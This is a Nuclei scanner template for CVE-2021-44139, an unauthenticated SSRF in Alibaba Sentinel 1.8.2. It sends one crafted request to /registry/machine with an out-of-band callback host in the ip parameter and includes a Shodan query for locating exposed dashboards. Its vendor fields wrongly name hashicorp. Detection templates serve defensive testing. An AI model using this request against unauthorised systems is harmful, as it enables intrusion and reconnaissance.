id: CVE-2021-44139

info:
  name: Alibaba Sentinel - Server-side request forgery (SSRF)
  author: DhiyaneshDK
  severity: high
  description: |
    There is a Pre-Auth SSRF vulnerability in Alibaba Sentinel version 1.8.2, which allows remote unauthenticated attackers to perform SSRF attacks via the /registry/machine endpoint through the ip parameter.
  remediation: |
    Apply the latest security patches or updates provided by Alibaba Sentinel to fix the SSRF vulnerability (CVE-2021-44139).
  reference:
    - https://github.com/alibaba/Sentinel/issues/2451
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-44139
    cwe-id: CWE-918
    epss-score: 0.01329
    epss-percentile: 0.84551
    cpe: cpe:2.3:a:hashicorp:sentinel:1.8.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: hashicorp
    product: sentinel
    shodan-query: title:"Sentinel Dashboard"
  tags: cve,cve2021,ssrf,alibaba,oast,misconfig,sentinel

http:
  - method: GET
    path:
      - "{{BaseURL}}/registry/machine?app={{rand_base(5)}}&appType=0&version=0&hostname={{rand_base(5)}}&ip={{interactsh-url}}&port=0"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: header
        words:
          - application/json

      - type: word
        part: body
        words:
          - '"success":true'
          - '"msg":"success"'
        condition: and
# digest: 4a0a004730450220506e1f5e198b35e033ebe22dfb1445fcd5ad9e11e029866525e81e87a2b68c5d022100ee6a9ac069501441f34a069c2e8f65e8e21ad46a69d3cb054aeef0058d4a0266:922c64590222798bb761d5b6d8e72950